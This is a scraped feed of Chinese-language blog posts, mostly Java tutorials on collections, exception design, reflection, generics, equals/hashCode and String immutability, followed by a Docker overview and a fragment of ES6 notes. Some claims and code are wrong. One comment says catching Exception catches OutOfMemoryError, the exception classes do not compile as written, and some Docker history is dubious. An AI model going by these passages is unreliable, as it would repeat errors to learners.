ArrayList 底层是数组，适合按下标快速访问，也适合尾部追加。它不适合频繁在中间插入或删除，因为这会触发元素搬移。

基本使用

List<String> names = new ArrayList<>();
names.add("Java");
names.add("Spring");
System.out.println(names.get(0));

扩容机制

ArrayList 容量不够时会扩容。扩容不是免费操作，需要创建新数组并复制旧数据。如果能预估大小，建议指定初始容量：

List<Long> ids = new ArrayList<>(1000);

删除元素的正确方式

遍历时删除元素，不要直接在 for-each 里 remove：

Iterator<String> iterator = names.iterator();
while (iterator.hasNext()) {
    if (iterator.next().startsWith("J")) {
        iterator.remove();
    }
}
]]> Java集合 JAVA 集合 Java异常体系和业务异常设计 //java-yi-chang-ti-xi-he-ye-wu-yi-chang-she-ji/ Java异常体系和业务异常设计

异常处理是 Java 程序健壮性的重要保障。本文从异常体系结构出发，深入探讨业务开发中的异常设计策略。

Java 异常类体系

Throwable
├── Error（严重系统错误，不建议捕获）
│   ├── OutOfMemoryError
│   ├── StackOverflowError
│   └── ...
└── Exception（程序异常，可以捕获处理）
    ├── RuntimeException（运行时异常，Unchecked）
    │   ├── NullPointerException
    │   ├── IllegalArgumentException
    │   ├── IndexOutOfBoundsException
    │   └── ...
    └── 其他 Checked Exception
        ├── IOException
        ├── SQLException
        └── ...

Checked vs Unchecked 异常

特性Checked ExceptionUnchecked Exception
继承ExceptionRuntimeException
编译检查必须处理或声明不强制
使用场景可恢复的外部错误编程错误/不可恢复
示例IOExceptionNullPointerException

选择原则

  1. Checked Exception：调用方可以合理恢复的场景
  2. Unchecked Exception：编程错误、不可恢复的场景

业务异常设计最佳实践

统一异常基类

public class BusinessException extends RuntimeException {
    private final String errorCode;
    private final Object[] args;
    
    public BusinessException(String errorCode, Object... args) {
        super(MessageFormat.format(ErrorCode.getMessage(errorCode), args));
        this.errorCode = errorCode;
        this.args = args;
    }
    
    public String getErrorCode() {
        return errorCode;
    }
}

错误码枚举

public enum ErrorCode {
    USER_NOT_FOUND("1001", "用户不存在: {0}"),
    INVALID_PARAMETER("1002", "参数错误: {0}"),
    ORDER_EXPIRED("2001", "订单已过期"),
    INSUFFICIENT_BALANCE("2002", "余额不足");
    
    private final String code;
    private final String message;
    
    ErrorCode(String code, String message) {
        this.code = code;
        this.message = message;
    }
    
    public String getCode() { return code; }
    public String getMessage() { return message; }
}

分层异常设计

// 领域层异常
public class DomainException extends BusinessException {
    public DomainException(ErrorCode errorCode, Object... args) {
        super(errorCode, args);
    }
}

// 应用层异常
public class ApplicationException extends BusinessException {
    public ApplicationException(ErrorCode errorCode, Object... args) {
        super(errorCode, args);
    }
}

// 基础设施层异常
public class InfrastructureException extends BusinessException {
    public InfrastructureException(ErrorCode errorCode, Object... args) {
        super(errorCode, args);
    }
}

异常处理反模式

1. 空 catch 块

// 错误！异常被吞掉
 try {
    doSomething();
} catch (Exception e) {
    // 什么都不做
}

2. 用异常控制流程

// 错误！异常不应该用于正常流程控制
try {
    return stack.pop();
} catch (EmptyStackException e) {
    return null;  // 用异常判断栈空
}

// 正确做法
if (stack.isEmpty()) {
    return null;
}
return stack.pop();

3. 过度捕获 Exception

// 错误！捕获了不该捕获的异常
try {
    process();
} catch (Exception e) {  // 会捕获OutOfMemoryError等
    log.error("错误", e);
}

// 正确做法
try {
    process();
} catch (BusinessException e) {
    log.warn("业务异常", e);
} catch (IOException e) {
    log.error("IO异常", e);
    throw new InfrastructureException(ErrorCode.IO_ERROR, e);
}

try-with-resources

JDK 7 引入的自动资源管理：

// 旧写法
BufferedReader br = null;
try {
    br = new BufferedReader(new FileReader("file.txt"));
    return br.readLine();
} finally {
    if (br != null) {
        br.close();
    }
}

// 新写法
try (BufferedReader br = new BufferedReader(new FileReader("file.txt"))) {
    return br.readLine();
}

多个资源：

try (InputStream in = new FileInputStream("src.txt");
     OutputStream out = new FileOutputStream("dest.txt")) {
    // 使用资源
}

异常链与堆栈信息

保留原始异常

try {
    lowLevelOperation();
} catch (SQLException e) {
    // 保留原始异常，便于排查问题
    throw new BusinessException(ErrorCode.DB_ERROR, e);
}

清理堆栈（谨慎使用）

// 某些场景下需要隐藏内部实现细节
public void cleanStackTrace() {
    StackTraceElement[] clean = Arrays.stream(getStackTrace())
        .filter(e -> !e.getClassName().contains("internal"))
        .toArray(StackTraceElement[]::new);
    setStackTrace(clean);
}

全局异常处理（SpringBoot）

@RestControllerAdvice
public class GlobalExceptionHandler {
    
    @ExceptionHandler(BusinessException.class)
    public ResponseEntity<Result<?>> handleBusiness(BusinessException e) {
        return ResponseEntity.ok(Result.fail(e.getErrorCode(), e.getMessage()));
    }
    
    @ExceptionHandler(MethodArgumentNotValidException.class)
    public ResponseEntity<Result<?>> handleValidation(MethodArgumentNotValidException e) {
        String msg = e.getBindingResult().getFieldErrors().stream()
            .map(FieldError::getDefaultMessage)
            .collect(Collectors.joining(", "));
        return ResponseEntity.ok(Result.fail(ErrorCode.INVALID_PARAMETER, msg));
    }
    
    @ExceptionHandler(Exception.class)
    public ResponseEntity<Result<?>> handleUnknown(Exception e) {
        log.error("系统异常", e);
        return ResponseEntity.ok(Result.fail(ErrorCode.SYSTEM_ERROR));
    }
}

总结

  1. 优先使用 Unchecked Exception：减少样板代码
  2. 设计清晰的异常层次：便于分层处理
  3. 错误码统一规划：按模块划分，便于问题定位
  4. 保留原始异常：不要丢失堆栈信息
  5. 避免异常作为流程控制：影响性能且代码难读
  6. 全局统一处理：减少重复代码，统一响应格式

良好的异常设计是系统可维护性的重要保障。

]]> Java基础 学习笔记 Java Java 反射的使用场景和风险 //java-fan-she-de-shi-yong-chang-jing-he-feng-xian/ Java 反射的使用场景和风险

Java 反射提供了强大的能力，但也带来了风险。本文讲它的使用场景和注意事项。

学习方式

先写一个最小 demo，再观察运行结果。比如对象比较、异常捕获、反射调用，都可以用几十行代码验证。

public class Demo {
    public static void main(String[] args) {
        System.out.println("start");
    }
}

实践建议

不要只背定义，要知道它对集合、并发、框架和线上排查有什么影响。Java 基础越扎实，后面看 Spring、JVM、并发源码时越轻松。

]]> Java基础 学习笔记 JAVA Java泛型的类型擦除到底是什么 //java-fan-xing-de-lei-xing-ca-chu-dao-di-shi-shi-me/ Java泛型的类型擦除到底是什么

Java 泛型（Generics）在 JDK 5 引入，通过类型参数实现代码复用。但 Java 的泛型采用了类型擦除（Type Erasure）实现，这与 C++ 模板有本质区别。本文深入解析类型擦除机制。

类型擦除的定义

类型擦除是指：泛型信息只存在于编译期，编译后的字节码中不包含泛型类型信息。

// 源代码
List<String> list = new ArrayList<>();
list.add("hello");

// 编译后（反编译）
List list = new ArrayList();
list.add("hello");

编译器在编译期进行类型检查，生成字节码时擦除类型参数，替换为限定类型（未限定则替换为 Object）。

类型擦除的具体规则

无界类型参数

public class Box<T> {
    private T value;
    public void set(T value) { this.value = value; }
    public T get() { return value; }
}

// 编译后擦除为Object
public class Box {
    private Object value;
    public void set(Object value) { this.value = value; }
    public Object get() { return value; }
}

有界类型参数

public class NumberBox<T extends Number> {
    private T value;
}

// 编译后擦除为Number
public class NumberBox {
    private Number value;
}

桥接方法（Bridge Method）

为了兼容多态，编译器会自动生成桥接方法：

// 源代码
class Node<T> {
    public void setData(T data) { ... }
}

class MyNode extends Node<Integer> {
    @Override
    public void setData(Integer data) { ... }
}

// 编译后，MyNode实际有：
// 1. 重写的方法
public void setData(Integer data) { ... }

// 2. 编译器生成的桥接方法
public void setData(Object data) {
    setData((Integer) data);  // 调用实际方法
}

类型擦除带来的限制

1. 不能使用基本类型

List<int> list;     // 编译错误
List<Integer> list; // 正确，使用包装类

2. 不能创建类型参数的实例

public <T> void create() {
    T obj = new T();        // 编译错误
    T[] arr = new T[10];    // 编译错误
}

解决方案：使用 Class 对象或反射。

public <T> T create(Class<T> clazz) throws Exception {
    return clazz.newInstance();
}

3. 不能获取泛型类型信息

List<String> list = new ArrayList<>();
Class<?> clazz = list.getClass();  // 只能得到ArrayList.class

例外：通过子类可以获取泛型信息。

// 创建匿名子类
Type type = new TypeReference<List<String>>(){}.getType();
// 得到 ParameterizedType: List<String>

Jackson、Gson 等库利用这一技巧实现类型安全的反序列化：

// Gson
List<User> users = gson.fromJson(json, new TypeToken<List<User>>(){}.getType());

通配符与边界

PECS 原则

Producer Extends, Consumer Super

// 生产者：只能读取，用 extends
public void readFrom(List<? extends Number> list) {
    Number n = list.get(0);  // 可以读取
    // list.add(1);           // 编译错误，不能写入
}

// 消费者：只能写入，用 super
public void writeTo(List<? super Integer> list) {
    list.add(1);             // 可以写入
    // Integer i = list.get(0); // 只能得到Object
}

无界通配符

List<?> list;  // 可以读取Object，不能写入（null除外）

与 C++ 模板的对比

特性Java 泛型C++ 模板
实现方式类型擦除代码生成
类型信息编译期存在，运行期擦除运行期保留
基本类型不支持支持
代码膨胀无每种类型生成一份代码
编译错误可能暴露类型擦除细节错误信息复杂

实际应用技巧

类型安全的异构容器

public class Favorites {
    private Map<Class<?>, Object> map = new HashMap<>();
    
    public <T> void put(Class<T> type, T instance) {
        map.put(type, type.cast(instance));
    }
    
    public <T> T get(Class<T> type) {
        return type.cast(map.get(type));
    }
}

// 使用
Favorites f = new Favorites();
f.put(String.class, "hello");
f.put(Integer.class, 100);

String s = f.get(String.class);  // 类型安全

总结

类型擦除是 Java 泛型的核心实现机制，它在保持与旧版本兼容的同时提供了类型安全。理解类型擦除有助于：

  1. 解释泛型的各种限制
  2. 正确使用通配符和边界
  3. 处理与泛型相关的编译警告
  4. 设计类型安全的 API

虽然类型擦除带来了一些限制，但通过合理的设计模式（如类型令牌、超类型令牌），可以优雅地解决大多数问题。

]]> Java基础 学习笔记 Java Java 异常体系和业务异常设计 //java-yi-chang-ti-xi-he-ye-wu-yi-chang-she-ji/ Java 异常体系和业务异常设计

Java 异常体系设计得很完整，但用好它并不简单。本文讲业务异常的设计原则。

学习方式

先写一个最小 demo，再观察运行结果。比如对象比较、异常捕获、反射调用，都可以用几十行代码验证。

public class Demo {
    public static void main(String[] args) {
        System.out.println("start");
    }
}

实践建议

不要只背定义，要知道它对集合、并发、框架和线上排查有什么影响。Java 基础越扎实，后面看 Spring、JVM、并发源码时越轻松。

]]> Java基础 学习笔记 JAVA Java反射机制详解与使用场景 //java-fan-she-ji-zhi-xiang-jie-yu-shi-yong-chang-jing/ Java反射机制详解与使用场景

反射（Reflection）是 Java 的强大特性之一，它允许程序在运行时检查和操作类、方法、字段等。本文从基础用法到高级应用，全面解析反射机制。

什么是反射

反射是指程序在运行期间可以获取任意类的内部信息，并直接操作任意对象的内部属性和方法。

Class<?> clazz = Class.forName("java.util.ArrayList");
Object instance = clazz.newInstance();

获取 Class 对象的三种方式

// 1. 类名.class
Class<String> clazz1 = String.class;

// 2. 对象.getClass()
String str = "hello";
Class<?> clazz2 = str.getClass();

// 3. Class.forName()
Class<?> clazz3 = Class.forName("java.lang.String");

反射的核心操作

创建实例

Class<?> clazz = Class.forName("com.example.User");

// 无参构造
Object obj = clazz.newInstance();  // JDK 9+ 已废弃

// 推荐方式
Constructor<?> constructor = clazz.getDeclaredConstructor();
Object obj2 = constructor.newInstance();

// 有参构造
Constructor<?> paramCtor = clazz.getDeclaredConstructor(String.class, int.class);
Object obj3 = paramCtor.newInstance("张三", 25);

操作方法

Method method = clazz.getDeclaredMethod("sayHello", String.class);
method.setAccessible(true);  // 突破私有权限
Object result = method.invoke(obj, "世界");

操作字段

Field field = clazz.getDeclaredField("name");
field.setAccessible(true);
field.set(obj, "李四");
Object value = field.get(obj);

反射在框架中的应用

Spring 的依赖注入

@Component
public class UserService {
    @Autowired
    private UserDao userDao;  // Spring通过反射注入
}

Spring 通过反射扫描 @Autowired 注解，找到对应类型的 Bean 并注入。

MyBatis 的结果集映射

// MyBatis 通过反射将数据库列映射到对象属性
List<User> users = sqlSession.selectList("select * from user");

JUnit 单元测试

public class CalculatorTest {
    @Test
    public void testAdd() {
        // JUnit 通过反射执行标注 @Test 的方法
    }
}

反射的性能问题

反射比直接调用慢 10~100 倍，主要原因：

  1. 类型检查绕过编译期优化
  2. 方法访问需要权限检查
  3. 无法内联优化

优化方案

1. setAccessible(true)

Method method = clazz.getDeclaredMethod("privateMethod");
method.setAccessible(true);  // 关闭安全检查，提升性能

2. 反射结果缓存

public class ReflectionCache {
    private static final Map<String, Method> METHOD_CACHE = new ConcurrentHashMap<>();
    
    public static Method getMethod(Class<?> clazz, String name, Class<?>... params) {
        String key = clazz.getName() + "." + name;
        return METHOD_CACHE.computeIfAbsent(key, k -> {
            try {
                Method m = clazz.getDeclaredMethod(name, params);
                m.setAccessible(true);
                return m;
            } catch (NoSuchMethodException e) {
                throw new RuntimeException(e);
            }
        });
    }
}

3. 使用 MethodHandle（JDK 7+）

MethodHandles.Lookup lookup = MethodHandles.lookup();
MethodHandle handle = lookup.findVirtual(String.class, "length", MethodType.methodType(int.class));
int len = (int) handle.invokeExact("hello");

4. 使用 LambdaMetafactory（JDK 8+）

// 将反射方法转换为函数式接口，接近直接调用性能
MethodHandles.Lookup lookup = MethodHandles.lookup();
CallSite site = LambdaMetafactory.metafactory(
    lookup, "apply",
    MethodType.methodType(Function.class),
    MethodType.methodType(Object.class, Object.class),
    handle, MethodType.methodType(Integer.class, String.class)
);

反射的安全限制

SecurityManager

// 可以通过 SecurityManager 限制反射权限
System.setSecurityManager(new SecurityManager() {
    @Override
    public void checkPackageAccess(String pkg) {
        if (pkg.startsWith("java.lang.reflect")) {
            throw new SecurityException("Reflection not allowed");
        }
    }
});

JDK 9+ 模块化限制

// module-info.java 中需要显式开放包
module myapp {
    opens com.example.internal to spring.core;
}

实际开发建议

  1. 业务代码中尽量避免反射：影响可读性和性能
  2. 框架开发中合理使用：Spring、MyBatis 等底层实现
  3. 做好异常处理：反射操作抛出大量 Checked Exception
  4. 注意访问权限：setAccessible 可能受 SecurityManager 限制
  5. 缓存反射结果：避免重复获取 Method/Field

总结

反射是 Java 的”双刃剑”：

  • 优点：极高的灵活性，是框架开发的基石
  • 缺点：性能开销大，破坏封装性，代码可读性差

理解反射的原理和适用场景，才能在正确的场合使用这一强大工具。

]]> Java基础 学习笔记 Java Java 泛型的类型擦除到底是什么 //java-fan-xing-de-lei-xing-ca-chu-dao-di-shi-shi-me/ Java 泛型的类型擦除到底是什么

泛型让集合和方法在编译期就能检查类型，减少运行时的强制转换错误。但 Java 泛型是通过类型擦除实现的，运行时并不会保留完整的泛型类型。

泛型解决了什么问题

没有泛型时，集合里什么都能放：

List list = new ArrayList();
list.add("hello");
Integer value = (Integer) list.get(0); // 运行时报错

使用泛型后，编译期就能发现问题：

List<String> list = new ArrayList<>();
list.add("hello");
String value = list.get(0);

类型擦除的影响

运行时 List<String> 和 List<Integer> 都会被擦除成 List。所以不能这样判断：

// 编译不通过
if (list instanceof List<String>) {
}
]]> Java基础 学习笔记 JAVA equals和hashCode的正确理解 //equals-he-hashcode-de-zheng-que-li-jie/ equals和hashCode的正确理解

equals() 和 hashCode() 是 Java 对象比较的两个核心方法，它们的正确实现直接影响集合类的行为。本文从契约、实现到最佳实践进行全面梳理。

Object 的默认实现

// 默认比较内存地址
public boolean equals(Object obj) {
    return (this == obj);
}

// 默认返回对象地址的哈希值
public native int hashCode();

equals 重写规范

根据 Java 规范，equals() 必须满足以下特性：

  1. 自反性：x.equals(x) 必须为 true
  2. 对称性：x.equals(y) == y.equals(x)
  3. 传递性：x.equals(y) && y.equals(z) ⇒ x.equals(z)
  4. 一致性：多次调用结果不变
  5. 非空性：x.equals(null) 必须为 false

hashCode 重写规范

  1. 一致性：同一对象多次调用返回相同值
  2. 相等性：equals() 相等的对象，hashCode() 必须相等
  3. 不相等性：hashCode() 不相等的对象，equals() 一定不相等

为什么必须同时重写

如果只重写 equals，不重写 hashCode：

public class Person {
    private String name;
    // 只重写了equals，没重写hashCode
}

Person p1 = new Person("张三");
Person p2 = new Person("张三");

Set<Person> set = new HashSet<>();
set.add(p1);
set.add(p2);

System.out.println(set.size());  // 输出2！期望是1

HashSet 先比较 hashCode，再比较 equals。hashCode 不同会直接认为是不同对象。

IntelliJ IDEA 自动生成

现代 IDE 可以自动生成符合规范的方法：

@Override
public boolean equals(Object o) {
    if (this == o) return true;
    if (o == null || getClass() != o.getClass()) return false;
    Person person = (Person) o;
    return age == person.age && Objects.equals(name, person.name);
}

@Override
public int hashCode() {
    return Objects.hash(name, age);
}

使用 Objects.equals 避免 NPE

// 可能抛出NullPointerException
if (str1.equals(str2)) { ... }

// 安全写法
if (Objects.equals(str1, str2)) { ... }

可变对象的陷阱

永远不要对可变对象使用自定义 equals/hashCode 作为 HashMap 的 Key：

public class BadKey {
    private int value;
    // equals和hashCode基于value

    // 放入Map后修改value
    map.put(key, "data");
    key.setValue(100);  // hashCode变了！
    
    map.get(key);  // 可能找不到！
}

解决方案：使用不可变对象作为 Key，如 String、Integer、自定义不可变类。

Lombok 简化实现

@Data
public class User {
    private Long id;
    private String name;
}
// 自动生成equals、hashCode、toString等

或使用 @EqualsAndHashCode：

@EqualsAndHashCode(of = {"id", "name"})
public class User { ... }

性能优化

缓存 hashCode

对于频繁使用且计算成本高的对象：

public class CachedHashCode {
    private int hashCode;
    private boolean hashCodeCalculated = false;
    
    @Override
    public int hashCode() {
        if (!hashCodeCalculated) {
            hashCode = Objects.hash(field1, field2);
            hashCodeCalculated = true;
        }
        return hashCode;
    }
}

选择关键字段

equals 比较应该使用能够唯一标识对象的字段：

// 好：使用业务唯一键
@EqualsAndHashCode(of = "userId")

// 差：包含所有字段，包括可能变化的字段
@EqualsAndHashCode(of = {"userId", "lastLoginTime", "status"})

最佳实践检查清单

  • 同时重写 equals 和 hashCode
  • 使用 IDE 自动生成而非手写
  • 使用 Objects.equals 进行空安全比较
  • 避免在可变对象上依赖 hashCode
  • 选择最小唯一字段集作为比较依据
  • 对于实体类，通常只用 id 字段

总结

equals 和 hashCode 的契约是 Java 集合框架正确工作的基石。理解并正确实现这两个方法，是每一位 Java 开发者的基本功。

]]> Java基础 学习笔记 Java Java String 为什么设计成不可变 //java-string-wei-shi-me-she-ji-cheng-bu-ke-bian/ Java String 为什么设计成不可变

String 不可变是 Java 里非常重要的设计。它让字符串可以安全地放进常量池，也让 HashMap 这类结构能放心使用字符串作为 key。

不可变是什么意思

下面的代码看起来像修改了字符串：

String name = "java";
name = name + "-blog";

实际上原来的 java 没有被修改，而是创建了新的字符串对象，再让 name 指向新对象。

为什么这样设计

  • 线程安全：多个线程共享同一个字符串，不会互相改坏。
  • 哈希稳定：字符串作为 Map 的 key 时，hashCode 不会因为内容变化而变化。
  • 常量池复用：相同字面量可以复用，减少内存浪费。

什么时候用 StringBuilder

循环拼接大量字符串时，不要一直用 +：

StringBuilder builder = new StringBuilder();
for (int i = 0; i < 1000; i++) {
    builder.append(i).append(',');
}
String result = builder.toString();
]]> Java基础 学习笔记 JAVA String为什么设计成不可变的 //string-wei-shi-me-she-ji-cheng-bu-ke-bian-de/ String为什么设计成不可变的

String 是 Java 中最常用的类之一，它的不可变性（immutability）是 Java 设计的核心决策。本文从多个维度解析这一设计背后的考量。

什么是不可变性

String 对象一旦创建，其内容就不能被修改：

String s = "hello";
s = s + " world";  // 创建了新的String对象，原对象未改变

String 类被声明为 final，且内部字符数组也是 final：

public final class String {
    private final char[] value;  // JDK 8
    private final byte[] value;  // JDK 9+，compact strings
}

原因一：字符串常量池

不可变性使得字符串常量池（String Pool）成为可能：

String a = "java";
String b = "java";
System.out.println(a == b);  // true，指向常量池同一对象

如果 String 可变，常量池中的字符串被修改会影响所有引用，造成不可预期的行为。

原因二：线程安全

不可变对象天然线程安全，无需同步：

// 多线程环境下安全共享
public static final String CONFIG_KEY = "app.config";

这对于高并发场景下的配置项、常量定义等非常重要。

原因三：HashCode 缓存

String 的 hashCode 在第一次计算后被缓存：

private int hash;  // 默认值0

public int hashCode() {
    int h = hash;
    if (h == 0 && value.length > 0) {
        // 计算hash...
        hash = h;
    }
    return h;
}

这使得 String 作为 HashMap 的 Key 时性能极高，是 HashMap 最常用的键类型。

原因四：安全性

String 广泛用于网络连接、文件路径、权限检查等敏感场景：

// 如果String可变，以下检查可被绕过
void connect(String host) {
    if (!host.equals("safe.host.com")) {
        throw new SecurityException();
    }
    // 建立连接...
}

不可变性保证了安全检查后的值不会被篡改。

原因五：性能优化

JDK 9 引入 Compact Strings，使用 byte[] 替代 char[]：

  • LATIN-1 编码（单字节）节省 50% 内存
  • UTF-16 编码（双字节）处理中文等字符

不可变性使得这种内部优化可以安全地进行，而不会影响外部行为。

常见误区

1. StringBuilder vs StringBuffer

// 单线程优先使用StringBuilder
StringBuilder sb = new StringBuilder();
sb.append("hello").append(" world");

// 多线程使用StringBuffer（线程安全，但性能较低）
StringBuffer sbf = new StringBuffer();

2. 字符串拼接性能

// 编译期优化为StringBuilder
String s = "a" + "b" + "c";  // 等效于 "abc"

// 循环中必须使用StringBuilder
String result = "";
for (String item : list) {
    result += item;  // 每次循环创建新对象！
}

3. intern() 方法

String s1 = new String("hello");
String s2 = s1.intern();  // 放入常量池并返回引用

最佳实践

  1. 比较用 equals：永远不要用 == 比较字符串内容
  2. 拼接用 StringBuilder：循环或大量拼接场景
  3. 适度使用 intern()：内存敏感但字符串重复率高时
  4. 巧用 isEmpty() 和 isBlank()（Java 11+）
// Java 11+ 判断空白字符串
if (str.isBlank()) { ... }

// 去除首尾空白（支持Unicode）
String clean = str.strip();

总结

String 的不可变性是 Java 设计的精妙之处，它在安全性、线程安全、性能和功能之间取得了平衡。理解这一设计有助于写出更安全、更高效的代码。

]]> Java基础 学习笔记 Java Java 中 equals 和 hashCode 的正确理解 //java-zhong-equals-he-hashcode-de-zheng-que-li-jie/ Java 中 equals 和 hashCode 的正确理解

Java 里判断对象是否相等，不能只看 ==。== 比较的是引用地址，equals 通常表示业务意义上的相等。只要重写 equals，一般也要重写 hashCode，否则对象放进 HashMap、HashSet 这类集合后会出现很难排查的问题。

一个最小例子

public class User {
    private Long id;

    @Override
    public boolean equals(Object o) {
        if (this == o) return true;
        if (!(o instanceof User)) return false;
        User user = (User) o;
        return Objects.equals(id, user.id);
    }

    @Override
    public int hashCode() {
        return Objects.hash(id);
    }
}

为什么 hashCode 也要改

HashSet 判断元素是否重复时，会先看 hashCode，再看 equals。如果两个对象 equals 相等，但 hashCode 不一样，它们可能会被放到不同桶里，集合就会认为它们不是同一个对象。

验证方式

写一个简单测试：创建两个 id 相同的 User，放进 HashSet，最后 size 应该是 1。

Set<User> users = new HashSet<>();
users.add(new User(1L));
users.add(new User(1L));
System.out.println(users.size()); // 期望输出 1
]]> Java基础 学习笔记 JAVA Java数据类型与包装类的深度理解 //java-shu-ju-lei-xing-yu-bao-zhuang-lei-de-shen-du-li-jie/ Java数据类型与包装类的深度理解

Java 的类型系统分为两大类：基本数据类型（primitive types）和引用数据类型（reference types）。本文从实际开发角度出发，深入探讨基本类型与包装类的关系、常见问题以及最佳实践。

基本数据类型概览

Java 有 8 种基本数据类型：

类型位数默认值包装类
byte80Byte
short160Short
int320Integer
long640Long
float320.0fFloat
double640.0dDouble
char16‘\u0000’Character
boolean1falseBoolean

为什么需要包装类

  1. 泛型支持：泛型不支持基本类型，只能使用包装类
  2. 集合框架：ArrayList 而非 ArrayList
  3. 方法参数：某些方法要求对象类型参数
  4. 默认值：包装类默认值为 null，可以表示”未赋值”状态

自动装箱与拆箱

JDK 5 引入自动装箱（autoboxing）和拆箱（unboxing）：

// 自动装箱
Integer i = 100;  // 等价于 Integer.valueOf(100)

// 自动拆箱
int n = i;        // 等价于 i.intValue()

常见问题

Integer a = 100;
Integer b = 100;
System.out.println(a == b);  // true，缓存机制

Integer c = 200;
Integer d = 200;
System.out.println(c == d);  // false，超出缓存范围

Integer 缓存机制

Integer 内部维护了一个缓存数组，默认缓存范围是 -128 到 127：

public static Integer valueOf(int i) {
    if (i >= IntegerCache.low && i <= IntegerCache.high)
        return IntegerCache.cache[i + (-IntegerCache.low)];
    return new Integer(i);
}

通过 -XX:AutoBoxCacheMax=<size> 可以调整缓存上限。

equals 与 == 的区别

比较方式说明
==比较对象的内存地址
equalsInteger 已重写，比较数值

最佳实践：包装类比较一律使用 equals：

Integer x = 200;
Integer y = 200;
System.out.println(x.equals(y));  // true，推荐

空指针风险

拆箱时如果包装类为 null，会抛出 NullPointerException：

Integer count = null;
int total = count + 1;  // NPE！

防御性写法：

Integer count = getCount();
int total = (count != null ? count : 0) + 1;
// 或 Java 8+
int total = Optional.ofNullable(count).orElse(0) + 1;

性能考量

包装类比基本类型多占用内存（对象头约 12 字节），在大量计算场景下：

// 性能较差
Long sum = 0L;
for (int i = 0; i < Integer.MAX_VALUE; i++) {
    sum += i;  // 频繁装箱拆箱
}

// 性能好
long sum = 0L;
for (int i = 0; i < Integer.MAX_VALUE; i++) {
    sum += i;
}

最佳实践总结

  1. 优先使用基本类型：局部变量、方法参数、返回值尽量用基本类型
  2. 集合必须使用包装类：泛型约束
  3. 比较用 equals：不要用 == 比较包装类
  4. 注意空指针：拆箱前判空
  5. API 设计：如果字段可能缺失，用包装类；否则用基本类型

理解基本类型与包装类的差异，是写出健壮 Java 代码的基础。

]]> Java基础 学习笔记 Java 人们以为自己在思考，其实是在重新编排自己的偏见。 /2023/03/02/nan-huai-jin-jing-dian-yu-lu-copy/ 人们以为自己在思考，其实是在重新编排自己的偏见。

]]> 经典语录 Docker虚拟化技术的历史、现状与发展趋势 /2022/01/30/docker/ Docker虚拟化技术的历史、现状与发展趋势

引言

随着云计算技术的发展，容器技术逐渐成为现代软件开发和部署中不可或缺的一部分。Docker作为最流行的容器化平台之一，以其轻量级、高效的特点受到了广泛的关注和应用。本文将对Docker虚拟化技术的历史背景、当前发展状况及未来趋势进行深入探讨，并结合竞品分析，为读者提供全面的视角。

历史背景

  • 早期探索（2008-2013）：容器技术的概念可以追溯到2008年的LXC（Linux Containers），它为Linux操作系统提供了轻量级的虚拟化解决方案。然而，LXC在管理和使用上存在一定的复杂性，限制了其广泛应用。
  • Docker诞生（2013）：2013年，Docker公司（原名dotCloud）推出了Docker容器技术，通过标准化的容器镜像格式和简便的命令行工具，极大地简化了容器的创建、管理和部署过程。这一创新迅速吸引了开发者和企业的关注。
  • 快速发展（2014-2016）：2014年，Docker发布1.0版本，标志着该技术进入成熟阶段。同年，Docker宣布与微软合作，将Docker支持扩展到Windows系统。2015年，Docker推出Docker Swarm集群管理工具，进一步增强了其在企业级应用中的竞争力。2016年，Docker发布了Docker Compose工具，使得多容器应用的管理和部署变得更加简单。
  • 生态构建（2017至今）：近年来，Docker不断完善其生态系统，推出了Docker Hub镜像仓库、Docker Trusted Registry私有仓库等服务。同时，Docker还积极参与开源社区建设，推动了Kubernetes、Mesos等容器编排系统的普及和发展。

当前发展状况

  • 市场接受度：根据调研机构的数据显示，Docker已成为全球最受欢迎的容器化平台之一。在GitHub上，Docker项目拥有超过10万颗星，表明了广泛的社区支持和技术认可。
  • 应用场景：Docker广泛应用于微服务架构、持续集成/持续交付（CI/CD）、DevOps等领域。许多大型企业和初创公司都采用了Docker来优化开发流程、提高部署效率和降低成本。
  • 技术创新：Docker不断推出新功能和技术改进，如Docker BuildKit、Docker Security Scanner等，以满足用户日益增长的需求。此外，Docker还积极与其他技术和工具集成，如Kubernetes、Jenkins等，形成了强大的生态系统。

竞品分析

  • Kubernetes (k8s)：Kubernetes是由Google开发的开源容器编排系统，旨在自动化容器化应用程序的部署、扩展和管理。与Docker相比，Kubernetes更侧重于大规模集群管理和多节点调度，适用于复杂的企业级应用。然而，Kubernetes的学习曲线较高，配置和操作相对复杂。
  • Amazon ECS (Elastic Container Service)：Amazon ECS是AWS提供的完全托管的容器编排服务，支持Docker容器。它允许用户轻松地运行和扩展容器化应用程序，而无需担心底层基础设施。与Docker相比，ECS更适合于已经使用AWS云服务的企业。
  • Azure Kubernetes Service (AKS)：Azure Kubernetes Service是微软Azure提供的托管Kubernetes服务，旨在简化Kubernetes的部署和管理。与Docker相比，AKS更加专注于云原生应用的开发和运维，提供了丰富的集成工具和服务。
  • Rancher：Rancher是一个开源的企业级Kubernetes管理平台，支持多种容器编排引擎，包括Docker Swarm、Kubernetes和Mesos。与Docker相比，Rancher提供了更多的管理和监控功能，适合需要跨多个集群和环境的企业。

发展趋势

  • 安全性增强：随着容器技术的广泛应用，安全问题越来越受到重视。未来，Docker将继续加强容器的安全机制，如容器镜像签名验证、运行时安全监控等，以确保用户数据和应用的安全。
  • 性能优化：为了满足高性能计算和大规模分布式系统的需求，Docker将不断优化容器的启动速度、资源利用率和网络通信效率。
  • 边缘计算：随着物联网（IoT）和5G技术的发展，边缘计算成为新的热点领域。Docker将在边缘设备上提供轻量级的容器运行环境，支持实时数据分析和智能决策。
  • 多云和混合云支持：为了帮助企业更好地管理和迁移多云环境中的应用，Docker将进一步增强对多云和混合云的支持，提供统一的管理和部署工具。
  • 人工智能集成：未来，Docker将与人工智能技术深度融合，支持机器学习模型的快速训练和部署，助力企业实现智能化转型。

结论

Docker虚拟化技术自诞生以来，凭借其轻量级、高效的特点迅速崛起，成为现代软件开发和部署的重要工具。随着技术的不断进步和应用场景的拓展，Docker将继续引领容器技术的发展潮流，为企业和个人带来更多的价值和便利。

参考文献

  1. Docker官方网站: https://www.docker.com/
  2. Kubernetes官方网站: https://kubernetes.io/
  3. AWS ECS文档: https://aws.amazon.com/ecs/
  4. Azure AKS文档: https://azure.microsoft.com/en-us/services/kubernetes-service/
  5. Rancher官方网站: https://rancher.com/
]]> docker docker ES6参考手册简化版 /2021/08/18/es6-can-kao-shou-ce-jian-hua-ban/ ES6简介

ECMAScript 6.0（以下简称 ES6）是 JavaScript 语言的下一代标准，已经在 2015 年 6 月正式发布了，也叫ECMAScript 2015

块级作用域

ES5作用域缺陷

function fn() {
  var a = 'hello';
}
fn();
